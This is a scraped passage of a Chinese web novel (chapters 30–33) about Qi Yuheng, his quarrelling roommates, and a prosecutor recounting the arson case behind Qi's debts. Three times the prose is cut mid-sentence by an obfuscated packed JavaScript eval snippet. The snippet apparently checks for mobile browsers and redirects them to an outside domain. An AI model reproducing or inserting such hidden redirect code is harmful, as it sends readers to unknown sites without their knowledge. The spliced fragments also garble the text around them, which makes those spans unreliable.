戚玉衡三岁的时候很想要一根棒棒糖,七岁的时候很想要一捆铅笔,十岁的时候很想要一件新衣服。但他的这些愿望,从来没有被满足过。于是从少年时代起,戚玉衡就学会了不对自己不可能得到的东西抱有奢望。 但没想到,到了而立之年,他又会生出不切实际的妄念。而这一次,他所垂涎的“宝物”,比他曾经想得到过的所有东西都珍贵无数倍,他与他之间的距离,也比他与他曾经想得到过的所有东西都遥远无数倍。 戚玉衡一手轻握着那只企鹅公仔,用另一只手去擦眼泪。他边走边哭,终于在走到李长乐家之前止住了眼泪。他又在李长乐家楼外站了一会,估摸着脸上哭过的泪态褪去了,才进楼去敲门。 这时时间才刚过七点,李长乐七点四十才下二晚,家里只有何秀红和李斌许三妹三人。 何秀红看到他,有些惊讶:“小戚,你今天怎么这么早就来了?” “今天没去上班,待在家里也没什么事,就早点过来了。”戚玉衡一边说着一边洗了手,把手洗干净后,他才两手拿起那只企鹅公仔,捧在手里看了很久。 何秀红看到他手里的公仔,随口夸了一句:“这个娃娃挺可爱的,你买的?” 戚玉衡摇摇头,轻声道:“别人送的。” 随后,戚玉衡脱下外衣,将衣服里侧朝外地折了起来,最后小心翼翼地用衣服把这个企鹅公仔包了起来。做完这一切,戚玉衡问何秀红:“何姨,今晚要给长乐做什么夜宵啊?材料准备好了吗?我也来帮忙。” 何秀红为人老实敦厚,又觉得蒙了沈灵均天大的恩情,在伺候二老一小上是尽心尽力。李长乐现在正是半大小子吃穷老子的年纪,何秀红于是每晚都会精心给李长乐做一顿夜宵。 何秀红摇摇头:“不用你帮忙,今天晚上我打算做红烧牛肉面,肉已经放锅里开始炖了,面我也和好了,没什么需要帮忙的了。” 李长乐七点四十下二晚,惠民小区离他上学的八十七中学不远,他通常会在八点到八点十分间到家。但今天,都已经八点半了,李长乐还是没到家。戚玉衡不由得有些担心,他给李长乐打了个电话,但李长乐的手机却关了机。戚玉衡更加坐立难安,正当他准备给沈灵均打电话的时候,门响了,李长乐回来了。 李长乐一进门,戚玉衡就察觉出了不对劲:“长乐,你左脚怎么了?” 李长乐道:“今天有体育课,打篮球的时候不小心崴到了。” 戚玉衡忙过去扶他:“因为这个才回来晚了?脚崴了怎么不直接打车回来呢?家里有云南白药这类的药吗?” “有。我……手机也摔坏了,我今天没带现金,没法打车。” “看来以后身上还是要随时备点现金,以防万一。”戚玉衡按着李长乐的指示找到了云南白药,本想掀开李长乐的裤腿帮他上药,但李长乐似乎是害羞,把他的手挡开了:“我自己来就好了。” 戚玉衡没和他争。 李长乐回自己的房间上了药、换了衣服,随后便进了他爷爷奶奶的房间,和二老说了会话。在许三妹还健康的时候,李长乐每天晚上都会和李斌说说话,如今,他将这个习惯延续了下来。而虽然许三妹也失去了语言能力,但许三妹的神志还是清醒的,她能听懂李长乐的话,能用眨眼、摇头等方式回应李长乐。戚玉衡看得出来,对李长乐来说,和爷爷奶奶聊天是件很令他开心的事。 吃过夜宵,戚玉衡扶着李长乐回他的房间上课,看李长乐一瘸一拐的样子,戚玉衡不禁有些担心:“长乐,你脚这个样子,这两天还能去上课了吗?” “……是有些不太方便。” 平心而论,戚玉衡不太想让李长乐继续缺课了——李长乐成绩本来就不怎么样,之前为了照顾李斌和许三妹,他已经缺了两周多的课。再缺课下去,即便是有他补习,恐怕也是会落下进度。 但是孩子脚都崴成这样了,休息两天也实在正常。 还没等戚玉衡说话,李长乐又说:“但也没什么大事。我这几天打车去学校就好了,其实崴得也不怎么严重,又不是骨折了。” “行。但是你要是疼得厉害了也不要逞强,你就直接去医院,”戚玉衡拍了拍李长乐的手臂:“熬一熬,把高三熬过去了就好了。” 李长乐点点头,低声附和道:“嗯,熬过去就好了。” 因为今天李长乐回家的晚,他又受了伤,十一点半下课的时候,戚玉衡只上满了两个小时的课,李长乐还想按照三个小时四百的课时费结算,但戚玉衡最终只收了两百六。 由于今天他是坐沈灵均的车出去玩的,所以戚玉衡失去了他的代步工具小电驴。惠民小区距离他住的枫树湾小区颇远,打车得将近一百块。 戚玉衡哪里舍得这个钱,他扫了一辆共享单车,沿着导航往家的方向骑,骑了一段时间,他在路上发现了一辆共享电动车,连忙升级了代步工具。一番折腾下来,他一点才到家。 他本以为,这个时间,他的三个舍友早已经睡了。但戚玉衡刚打开门,就见大厅里站着一个男人,还没等他辨认出这是他两个男舍友中的哪一个,戚玉衡就见一个黑影迎面朝他砸来,他下意识地一偏头,只听一声脆响在他耳边炸开——那黑影是一个碗。 戚玉衡仔细一看,发现大厅已经是一片狼藉,饭菜和汤汤水水洒的到处都是,锅碗瓢盆碎了一地。戚玉衡心碎地在一地碎片中发现了自己的几个碗的残骸,其中有两个还是他在拼多多精挑细选了很久才买的。 他看到那个人影是孔正文,高晶正坐在沙发上哭,段俊站在孔正文对面,他比孔正文瘦小,因此他的身影完全被孔正文挡住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756127|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——刚才那个碗是他扔的。 “……这是什么情况?”戚玉衡道。 段俊神情有些歉疚地看向他:“不好意思啊戚哥,我不知道你突然回来,”段俊抬手指着孔正文道:“我本来是想丢这个王八羔子脸上的!” 孔正文冷笑一声,一把揪住段俊的衣领:“你他妈好意思说?说你自己呢吧?” 戚玉衡连忙挤到两人中间把两人分开:“有话好好说,好好说,别动手。” 孔正文一把甩开戚玉衡的手:“我好好说?你别在这和稀泥了,你问问你这个好兄弟,你问问他做了什么事?” 段俊立刻回击:“我做什么了我?你他妈脑子脏就看什么都脏!” 孔正文往地上啐了一口:“谁家好人会搂着别人女朋友看电影啊!你有了女朋友之后也让我搂一把怎么样?” “我操,你够了吧孔正文!我都说了我没搂高晶!我们只是坐得近了一点!” “你俩是不是当我瞎啊?是,你们确实坐得够近的!要是再近一步,那就是负距离接触了!” 孔正文说完这句话,原本只是在默默流眼泪的高晶放声哭了起来。与高晶的哭声同步响起的还有哐哐的拍门声,外面有人叫门道:“你们在这吵什么呢?几点了不知道吗?你们是没班上吗?” 看其他三人一时都没有要移驾去开门的意思,戚玉衡无奈,只得自己去应门,挨了楼下邻居好一顿排揎。邻居走后,戚玉衡看这哭的哭、气的气、横的横的三人,不由得一阵头痛:“听到人家刚才说的没有?几点了?都扰民了。有什么问题,你们明天白天解决,可以吗?” 戚玉衡今天早上也是和往常一样,四点五十就起床了,在做完早上的烘焙工作之后,他骑着电动车赶到了地铁站,换乘了两次地铁、一次公交才到了东山墓园。之后他在墓园挨了乔瑜一通挤兑,下午又去海洋公园暴走了八千步,在上了两个小时家教课后,他又骑了三公里自行车和十公里电动车。就算戚玉衡自认体力不错,心情也因为和沈灵均出去玩得到了飞跃性的提升,这会也撑不住了。 身体上极度疲惫,再看满屋子的狼藉——其中包括他心爱的碗的碎片,就算是戚玉衡也忍不住火大:“而且你们吵架就吵架,摔东西就摔东西,摔别人的东西是什么意思啊?还把房间弄得这么乱这么脏……可不可以考虑一下同居舍友呢?这是你们一个人……三个人的地盘吗?” 戚玉衡看了一眼大哭的高晶,又看了一眼双手叉腰满脸阴郁的孔正文,捏了捏鼻梁,头一回对他们俩的感情问题发表意见:“还有你们二位,能过就过,不能过就散。没感情了就趁早分了,互相都别耽误,要是还有感情,就别再这么闹了,折磨自己也折磨别人。不累吗?” 戚玉衡现在也没心情收拾这一地的烂摊子了,道:“我明早还要上班,你们是没班上吗?睡觉吧。” 说完,戚玉衡就进了卫生间洗漱,他洗漱过后,段俊也紧随其后。过了一会,段俊进到他们的房间,脸上带着很明显的歉意:“戚哥,对不起啊,给你添麻烦了,”说着,段俊举起三根手指做了个发誓的手势:“但我真的没摔你的东西!我认识你的东西的!都是他们俩……基本上都是那个孔正文扔的!” 这么一会过去,戚玉衡心头的气已经消了大半:“嗯,我相信你。” 戚玉衡说到这,顿了一下——虽然孔正文和高晶这对情侣感情状态成谜,但是他们毕竟还没分手。段俊要是真和高晶有了些什么,事情确实难办,他们这个房子在很长一段时间内大概都会波澜不断。戚玉衡犹豫再三,还是开口问道:“小段,你和小高……” 段俊不等他说完,就打断了他,又把手举得更高了:“我真跟她没什么!” 戚玉衡放下点心:“那就好,虽然他们两个总是吵架,但一直都是床头打架床尾和的。” “是呗。” 说完,段俊就关了灯,爬上了床。戚玉衡也摘下了助听器——这下今天晚上就算再有什么风波,也影响不到他了。 戚玉衡扭过头,捏了一把被他放到枕边的那只企鹅公仔,随后动作轻柔地把被子的一角盖在它身上,小声道:“晚安。” 31.第 31 章 周六晚上,孙一涵约沈灵均出来吃饭。她老公周航这周出差不在家,而她周六下午正好要带儿子来他家附近的一家水育早教馆上早教课,便想和他一起吃个饭。沈灵均自然是答应了。 因为孙一涵开了车,今天沈灵均就没有开车。上车坐稳后,沈灵均就迫不及待地朝前座伸出手:“来,让我抱抱我外甥。” 孙一涵把周舟从副驾驶座的婴儿安全座椅解下来,把他抱给了沈灵均。周舟小名叫大福,人如其名,长得跟个白团子一样,有一张圆圆的脸,现在刚刚一岁两个月,正是婴儿最好玩的年纪。脸蛋全是软软的、弹弹的肉,胳膊腿都跟藕节似的,肉嘟嘟的,十分可爱。 沈灵均一会捏捏这一会捏捏那,爱不释手。 孙一涵通过后视镜看到了他的举动,忍不住道:“这么喜欢小孩啊?那你就结婚生一个呗,反正只要你同意,愿意给你生娃的女生肯定一抓一大把。” 沈灵均一边逗大福一边道:“怎么能因为喜欢、想要孩子就结婚呢?而且,说实话,我也没多喜欢小孩,是我们大福太可爱了,所以我才爱不释手……是不是呀大福?” “行,你想因为爱情而结婚……你都空窗多少年了?你上次恋爱是不是还是研究生没毕业的时候谈的?和邱姐?你都有九年没谈过了?” 沈灵均语气淡淡:“差不多吧。” “能空窗这么久,我觉得你也挺厉害的。” “爱情又不是人生的必需品。” “话是这么说吧,”孙一涵歪歪头:“但从我成年,我还没空窗超过一年呢。诶,哥,你怎么做到这么久不谈的?你就没有那种恋爱欲吗?” “……没有。” “啊……你在上一段恋爱中受情伤了?” 沈灵均闻言,身形微微一顿,时隔多年地想起了两位前女友。他和邱天骄分开的并不算体面,和田梦瑶分开时也闹得有些难看,三十余年人生中谈过的两次恋爱,沈灵均自认全情投入、问心无愧,结局却殊途同归,都是一地鸡毛,潦草收场。 但若说他因此受了情伤,也不至于。 时隔多年,沈灵均再回忆起这两段感情,昔日的浓情蜜意早已化为泡影,记得最深的反而是感情走到最后,他们矛盾不断、相看两厌、互相折磨的岁月。邱天骄和田梦瑶或许也是一样。 良好的亲密关系能给一个人带来巨大的能量,反之亦然,不良的亲密关系只会耗空一个人的精力。与一个曾经与自己亲密无间的人断、舍、离,是一种巨大的痛苦。与其说他受了情伤,不如说在和邱天骄分手之后,他一想起“恋爱”这件事就觉得疲惫和忧虑。沈灵均没有恋爱欲,他只有恋爱焦虑。 “没有。就是没这个情感需求,我一个人过得挺自在的。” “也是。单身有单身的好处,谈不谈恋爱都是为了自己开心啦。” 吃饭的地点是孙一涵选的,是一家位于大商场的粥底火锅,据孙一涵说,这家店最近一段时间在网上很有人气。他们到的时候正是饭口,店里已经没了位置,他们只好在等位区等位。沈灵均在等位区碰到了位熟人——他们市检察院的检察长,唐绍荣。 “检察长,”因为等位区的人很多,沈灵均打招呼的声音并不大:“好巧。” “诶呀,小沈,”唐绍荣身旁站着位五十左右岁的女人,唐绍荣朝沈灵均介绍道:“这是我太太,”随后,他又转向自己的夫人:“这是我们院二部的沈灵均,沈检。我们院的门面,容州检察检草,容州公检法系统里有名的青年才俊。” 沈灵均有些不好意思地笑笑:“嫂子好……检察长,您可别这么开我玩笑了。” “这是什么玩笑?真是公认的,”唐绍荣有些好奇地看向孙一涵和她怀里的大福:“这是你……?” 沈灵均忙解释道:“这是我表妹和我外甥。” “我说嘛,我记着你还是单身。” 唐夫人这时俯身去逗大福,开始和孙一涵交流关于孩子的事。唐绍荣于是把沈灵均稍稍拉远了一些,低声问:“小沈,你眼睛怎么样了?” “已经没事了。” 唐绍荣拍了拍他的肩:“这件事,你受委屈了。” 沈灵均笑了笑:“嗐,不算什么,挨这么一下,换两周假期,我还觉得挺划算的呢……就是连累我助理,我心里挺不好意思的。” “诶,你那个助理,是不是……” 唐绍荣话还没说完,他的手机就响了。唐绍荣接起电话,道:“不用,小戚,你不用送上来,我下去拿?你已经上来了?我在那个鸿、鸿……” 沈灵均在一旁小声提醒道:“鸿广记。” “对,鸿广记粥底火锅。诶呀,真是麻烦你。” 沈灵均在唐绍荣说出“小戚”这两字的时候,心里就有了一个猜测。不出他所料,两分钟后,手中提着一个蛋糕的戚玉衡走进了鸿广记,此小戚就是彼小戚。唐绍荣看到戚玉衡,立刻迎了过去:“小戚,我都说了你不用送上来了,你还麻烦一趟。” 戚玉衡道:“不麻烦,我也是坐电梯上来的。” 戚玉衡的目光下意识地往唐绍荣的身后扫去,随后便是一愣。 沈灵均笑着和他打招呼:“小戚。” “……沈、沈检。” 唐绍荣有些好奇地看了看二人:“小沈,你们认识?” 沈灵均点点头:“我们是朋友。” 唐绍荣于是道:“那真是巧了!对了,小戚你要不要留下来和我们一起吃个饭?正好你和小沈认识,一起吃吧,我们人多,热闹。” 戚玉衡摆摆手:“不好意思啊唐叔,我晚上还有兼职,我不去的话老板一时找不到人来替我。” 今天是周六,是戚玉衡去Resonate唱歌的日子。 唐绍荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765926|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,有些惋惜地道:“那好吧。那你去忙。” 唐绍荣叮嘱道:“但你要记得,一定要注意身体,劳逸结合啊。” 戚玉衡点点头,又看了一眼沈灵均,道:“那我就先走了。祝您生日快乐,事事顺心。” 戚玉衡走后,沈灵均道:“今天是您生日?祝您生日快乐。” 唐绍荣乐呵呵地道:“谢谢。诶,那小沈,就像我刚才说的,我们几个一起吃吧。” 唐夫人这会已经从孙一涵怀里接过了大福,一边逗孩子一边道:“对啊,一起吃吧,我看四人台翻台的还更快呢。” 沈灵均和孙一涵都应了好,唐绍荣又道:“那我们提前说好啊,这一顿我来请,你们两个不许跟我争,不然显得我是存心邀请下属来给我付账一样。我们先定好,省得一会推来让去的。” 沈灵均本来是打算请客的,但是唐绍荣这么一说,他倒是不好再说什么了,只得说好。 唐夫人看着唐绍荣手里的那个蛋糕:“你给小戚钱了吗?” 唐绍荣答道:“我能不给吗?老早就转了,小戚一直不收,估计最后还是得退回来,和之前一样。” 唐夫人叹了口气:“……这孩子。” 沈灵均问道:“检察长,您是怎么认识小戚的?” “他是我办过的一个案子的当事人家属。” 和沈灵均想的一样。算算时间,十二年前戚父那个案子案发的时候,唐绍荣正在第二检察部任主任。 或许是因为戚玉衡的身世有些敏感,唐绍荣说得有些含糊。 “是……508纵火案?” 唐绍荣有些惊讶地看了沈灵均一眼:“对,小沈你知道?” “对。当初这个案子是您办的?” “……是。” “我听说,那个案子的嫌疑人,现在还有一个没抓到?” 许是得知沈灵均已经知道了戚玉衡的身世背景,唐绍荣说话间便不再遮掩,他压低声音:“是。哎呀,这个案子、05到08年的男高中生连环被害案、还有……就是小沈你那件,1009检察官被刺案,私底下,被咱们容州公安系统称为容州公安三大耻。” “就说这个案子吧,当初一共出动了两千多民警辅警,把栾乡的山都快犁过一遍了,就是没找着那个魏铭的影子,”说到这,唐绍荣长叹一声:“十二年了,现在提起这个案子,我心里都不得劲。” “我刚才一见到你的时候就想问你来着,你那个助理,叫余绵绵的那个,是不是在和市局的乔瑜乔警官谈恋爱?乔瑜,你也认识的吧?” 看沈灵均点头,唐绍荣又问:“你是不是知道,小戚他父亲,是508纵火案的主犯?” 沈灵均再次点点头。 “那你知不知道……小戚和乔瑜,曾经是同班同学,还是非常非常好的朋友?” 沈灵均不知道。 32.第 32 章 不消沈灵均回答,唐绍荣就从他表情中得到了答案。 “唉,”唐绍荣叹了口气:“这两个孩子,都是很好很好的孩子。但是,造化弄人啊。” 沈灵均慢慢从震惊中缓过神来,找回了一点语言组织能力:“那……那他父亲,戚鸿,明知道儿子和乔警官一家的关系,还决定去抢乔警官家的厂子吗?” “那倒不是。戚鸿虽然是个彻头彻尾的王八蛋,但他对小戚和小乔之间的关系并不知情。他一点都不关心他儿子,怎么可能关注到儿子的人际关系、关注到儿子交了什么样的朋友?这就是一个……残酷的巧合。但是这个残酷的巧合,对他们两个孩子造成的伤害都是巨大的、难以估量的。” “对于小乔来说,他在一夜之间失去了父母、妹妹,还有朋友。” “至于小戚,他本来就是特别善良的孩子,最好的朋友一家遭遇了这样的劫难,而他的父亲是这劫难的罪魁祸首……他承受了非常非常大的心理压力。他的人生同样在一夜之间天翻地覆了。他的前途、美好的人生,都被他那个人渣父亲在一夜之间葬送了。” 唐绍荣语气里半是愤怒半是难过:“全葬送了!” “他……他是个很命苦的孩子。他刚出生那会,戚鸿是一个工地的包工头,为人还算勤劳肯干,在那个年代,他们家甚至称得上富裕。但是他两岁的时候,戚鸿出事了。当时,戚鸿他们工地根本就不具备安装、维护塔吊的条件,但是却违规安装了塔吊,戚鸿也没有给招来的工人相关的技术培训和安全知识培训。后来有一天,一个工人在进行塔吊附墙操作的时候,用脚踩了临时防护栏,临时防护栏当时就失去平衡,这个工人从二十多米的高空跌落,人当场就没了。” “他把家里所有值钱的东西都卖了,凑了十万块钱,赔给了那个工人的家属,这让他最后没被判得太重,一年徒刑。但是他之前花了好些年攒下来的家底,到底就,”唐绍荣挥了挥手:“全没了。他老婆也因此和他离了婚,家里于是就剩下他老娘和两岁多的小戚。” “他出来之后,整个人就变了。他游手好闲,十分颓废,整天不是在家喝酒就是去外面打牌,你说他有手有脚一个大男人,干点什么不好?出去做苦力也能养活自己吧?他不。他就在家,啃老、啃小,一老一小每天出去捡垃圾养他一个大男人。两个人拿不出钱他就打。出来三年多,他就又进去了,盗窃。由于是累犯,他这一回被判了八年。嗐,关他几年,对他妈和小戚来说真不是什么坏事。他要是能一直被关在监狱里,还不会有后面的那些事了呢!” “戚鸿再出来的时候,他老娘已经病死了。他还是死性不改——他若是只喝酒打牌,小戚的日子也不至于过成现在这样。但戚鸿这回进监狱,在里面认识了不少狐朋狗友,出来之后,他也整日和他这群狱友厮混,慢慢染上了赌瘾。” “后来……那件案子就发生了。那实在是一件很轰动的案子,伤亡人数之多,在刑案中也属罕见,所以我们检方提前介入了。五月八号晚案发,九号上午我们就介入了。十号上午锁定的嫌疑人身份,我十号下午第一次见到小戚。我到现在……”唐绍荣摇了摇头:“我都忘不了,那一天他的样子。那时候嫌疑人的身份已经都查出来了嘛,我们见小戚就是想问他,他知不知道他父亲和他同伙可能会往哪跑。” “他那天穿着三中的校服,鞋是白色的,很旧了,但是被他刷得干干净净的,再配上他那个白白净净的长相、细长的身条,跟小白杨似的。谁瞧着都喜欢。他当时一点也没慌,也没哭,我们和警方问什么他答什么……现在想想,他不慌,是因为已经……心如死灰了吧。” “后来戚鸿他们五个又在外市犯了好几桩案子,但这个案子最后还是定在容州诉。外市的被害人于是也涌到了容州来。那段时间,小戚主动找上他们去……道歉。我们都陪着他去,但是那会他还是总挨打。家属情绪太激动,我们总有拦不住的时候。有时候在我们视线之外,家属们也找机会打人。不是没劝过,我们和警方都劝,你说往一个刚成年的孩子身上撒气,有什么用吗?有什么意义呢?” “但是……” 唐绍荣说到这,停了下来。孙一涵在一旁抹了抹眼泪。 唐绍荣摸了自己的喉咙两次,才继续往下说:“但是被害人家属的心情,我其实、我其实也能理解到一些。他们……他们可能也不是想要真的伤害谁,他们也不是有多坏,他们只是想宣泄他们的痛苦。有两对老夫妻,各自的独生子、独生女,结了婚,先后生了两个孩子,两个男孩,一个六个月大,一个两岁大……一家四口全让戚鸿他们给害死了,两个孩子,让他们活活摔死了,脑浆溅一地。都太惨了。太惨了。” “当时小戚住在城中村的一个筒子楼里,总有被害人家属找上门,扰的四邻都不得安宁。我当时和程副……就是现在的市局局长程局商量,想让他住到我们两个人的家里来。但他拒绝了,说我们都是这个案子的负责人,他住进我们的家里,容易给我们招人议论,”唐绍荣苦笑一声:“孩子比我们考虑的周全。” “小戚最后当然是……没能参加高考。他其实成绩很好的,在三中,最坏也没掉出过前二十名,小沈,你说这个成绩,高考发挥正常的话……是不是好学校随便挑,庆大华大也很有可能?他可是有一边耳朵听不见呢。我们这些健全人,有几个能学习比他好?” “当时,我们都跟他说,有困难就跟我们说,别藏着掖着。但他从来不跟我们说他的难处,直到那年十月,有一天上午,他忽然给我打电话,开口问我借钱。我问他怎么了,他说他左耳朵听不见了,他去医院查了,是外伤性感音神经性耳聋。” “我下午就带他去了另一家医院,托关系找了当时耳鼻喉最权威的医生……一样的结果。医生说是外伤导致的迷路震荡外加什么窗膜破裂……什么什么的,本来就很难处理,外加他没有得到及时的治疗,已经回天乏术了。但通过佩戴助听器,可以恢复大部分听力。我出钱,给他买了一只助听器。” “那个外伤,肯定是让家属给打的。我问他是谁打的,他说不知道,他也不打算追究。其实就算他说要追究,也没个头绪。他那段时间总受伤,根本说不出是什么时候开始觉得耳鸣的,都有嫌疑,但只有嫌疑,那就是都没有罪。” “那一年十二月的时候,这个案子一审。四个人都是死刑,判决书里也提到了刑事附带民事赔偿的问题。其实关于刑事附带民事赔偿这一部分,被害人家属基本上都没抱有期待。毕竟戚鸿就小戚那么一个直系亲属,他又还是个半大孩子,没人真指望他能赔钱。” “但判决一出,小戚就说,他赔。法院所判的,需要戚鸿赔的钱,他全都赔。还给家属们都签了欠条。” 原来根本不是什么赌债。沈灵均感觉喉咙干涩:“一共……他需要还多少?” “乔瑜父母的厂子全被烧毁了,除此之外,临近的厂房也有不少受损,那场大火造成了很大的财产损失。再算上其他被害人的丧葬费、治疗费、财产损失、一些家属要求的死亡赔偿金……虽然他只需要赔百分之四十,但是那也有八百多万。” 孙一涵忍不住惊呼道:“这么多?” 唐绍荣点点头:“我上次听他说,他现在已经还了快四百万了。已经快还完一半了。” 沈灵均算了算:“十二年时间,还了快四百万,平均一年得还三十万。他一个人……真不容易。真厉害。真不可思议。” “是啊。有的时候我都不忍心往下深想。他一个人,没有上过大学,这些年,他是怎么攒下那么多钱的?”唐绍荣拍了拍手里的蛋糕盒:“小戚啊,别人对他一分好,他恨不得还回十分去,我当年帮了他一把,他心里就一直记着。现在,他不是在开蛋糕店吗?逢年过节、我和我太太生日、我父母生日,他都要送个蛋糕来。” 这时,服务员过来提醒他们可以入座就餐了。点完菜后,唐绍荣没再聊起戚玉衡的事,转而道:“对了,小沈啊,其实今天不在这碰到你,等你再上班的时候,我也打算找你。” “前天,我碰到咱们省检的胡检察长了,胡检察长特意跟我提到你。让我问问你,你有没有意向去省检工作。” 沈灵均微微一愣,道:“但是……今年的遴选已经过了呀。” “是,但胡检察长说了,如果你有意愿,他可以先把你借调过去,等到明年再走流程,你怎么想?” 看沈灵均没有立刻答话,唐绍荣道:“小沈,你别有压力。胡检说了,一切都看你的意思。我和胡检认识好多年了,这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774393|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他真心话。” 沈灵均想了想,笑道:“谢谢胡检察长看得起我,但我……还是想在咱们市检干。” 唐绍荣点点头,面上露出些喜色:“嘿,小沈,我可不是想拦着你往上走啊。但说句实话,我真觉得,比起省检,市检才是更锻炼人的地方。省检一年接多少个案子,我们接多少个案子?而且啊,以小沈你的资质、能力,早晚也是会往上走的。在市检多干两年,对你以后有好处的。” 沈灵均忙道:“检察长,这是哪的话?我不敢当。” “实话啊,不用谦虚,”唐绍荣伸出手指数着,“小沈,你要学历有学历,要能力有能力,要级别有级别,要表彰有表彰,要案例有案例,你可是参与承办过两个最高检指导性案例的,你才多大?好好干,你前途不可限量。说句大实话,你那几刀真不是白挨的,以后都是你的加分项。” 沈灵均心情有些复杂,面上则笑着点了点头。 吃完晚饭,孙一涵开车送沈灵均回家。 孙一涵道:“诶,哥,看你领导这态度,是不是不久之后,你就要高升了?副主任变正主任?” 沈灵均语气平淡:“什么高升?我们部旧领导刚退,刚换了个新主任。” “那就换个地方、换个部门升呗。反正啊,看你领导刚才的样子,他特喜欢你。果然啊,你到哪都是人群焦点。天选之子。” 沈灵均没有立刻说话,他垂头看着大福:大福好带得很,只要让他吃饱、给他及时换尿布,他含着奶嘴可以不哭不闹一整天,存在感极低。这会大福的小手正揪着他的大衣扣子,黑葡萄一样的眼睛不停滚来滚去,十分可爱。 在他和陆晓莉女儿的短短一面中,那两个孩子从未展露出这样可爱的一面:她们并没有得到很好的照顾,她们的头发细软枯黄,本应该饱满柔软的肌肤十分干瘪,她们几乎一直在哭,眼睛乃至于整张脸都是红肿充血的。说难听一点,她们长得像两只黄毛猴子。 沈灵均在第一次见到她们的时候就想到了大福,他那个时候就知道,这三个同龄的孩子注定会拥有截然不同的命运。然而世事难料,不过半年光景,那一对姐妹已经携手走到了命运为她们写好的终局。 “你说,”沈灵均的手指从大福的眉眼间抚过,用玩笑一样的语气道:“这个世界上的运气总量有没有可能也是守恒的?我这种天选之子,就是把小戚这种苦命人的运气吸光了,才会成为天选之子的。” 孙一涵有些无语:“说什么呢?我知道,你是听了唐检的话,心里难受。我也是。但是啊,唉,都是命。人各有命。没办法的事。你别瞎想些有的没的。” 沈灵均嗯了一声,没再说话。 回到家后,沈灵均在沙发上坐了一会,随后起身来到一楼的露台。 紫都华府是容州最贵的楼盘之一。这很大原因得益于它优秀的地理位置,由于市中心、临近核心商业圈,站在紫都华府的高层,可以欣赏到容州美丽的夜景,远远望去,一片姹紫嫣红的无垠灯海。沈灵均站了一会,给他妈打了个电话。 “妈,你在哪呢?” “我?我在外面和你小姨喝酒呢。” 行,他和孙一涵一块吃饭,他妈和他小姨一块喝酒,一辈人有一辈人的娱乐了。 “方便说话吗?” “方便啊,就我和你小姨两人,有什么不方便的?而且,你跟我说话,我什么时候都方便。说吧,什么事?” “我记得,你们公司食堂有个西点档口。” “嗯,怎么了?” “你们和那个档口承包方的合同,什么时候到期啊?” 这种细枝末节的小事,徐锦英当然不知道。她道:“这我哪清楚啊,我得问后勤……你突然问这个干什么?” “我有个朋友,开面包店的。他家庭条件不太好。我这……我也不好直接给人家钱啊,我就想,力所能及地帮他一把。我就想,要是你们公司和现在这个承包方的合同要到期了,之后可以换他做乙方。但当然了,你们和现在的承包方有合同,肯定是要先履约的。要是你们一次性和人家签了十年八年的合同,我就再想别的招。” “哦,行,那我明天给你问问后勤。” 沈灵均笑了:“谢谢妈!爱你妈!” 33.第 33 章 接到沈灵均电话的时候,徐锦英正和小妹徐锦兰在酒吧喝酒。 挂掉电话后,徐锦英朝徐锦兰晃了晃手机:“说曹操曹操到。” “灵均?他说什么了?” “小事,想让我们公司和他一朋友签合同,让他朋友承包我们公司食堂一档口。说他朋友缺钱,他热心肠,总想着帮这个帮那个的。” 徐锦英端起面前的酒喝了一口:“接着我刚才的话茬……我不是不知道孟总的心思,我也不是不知道,十九这个年纪确实是小了点。我就是……想推他一把。” “我不是想逼他结婚生子。那不幸的婚姻、不孝的子孙,我没吃过猪肉还没见过猪跑吗?更何况他前两段恋爱谈得也都不顺。我真不是想逼他往围城里走。” “我就是想,看看能不能让他找一个知心人。能和他说说话、交交心,让他别那么……孤单吧。孟小姐大概率不是那个知心人,但是他总得在这个寻觅的路上迈出一步吧?” 徐锦兰有些不解:“姐,从小到大,灵均一直都是比较开朗的性格吧。据我所知,他人缘一直很不错的,他现在虽然没有女朋友,但应该不会缺朋友的。怎么会孤单呢?” 徐锦英沉默了一会,道:“其实,我觉得——不光是我这么觉得,你姐夫也这么觉得——我们觉得,我们并不了解我们的儿子。当然,年龄、成长背景在那摆着,父母和儿女之间肯定有代沟,但我们所说的那种不了解,指的是,我们从来没有走进过灵均的内心世界。他的很多心事,我们都不了解。” 徐锦英拍了拍自己的胸口:“这完全是我们的责任。尤其是我。他和他爸还是挺亲近的。” 徐锦英轻轻叹了口气:“到了这个年纪,再往回看,诶呀,觉得……这些年,得到的、失去的,一样多。” * 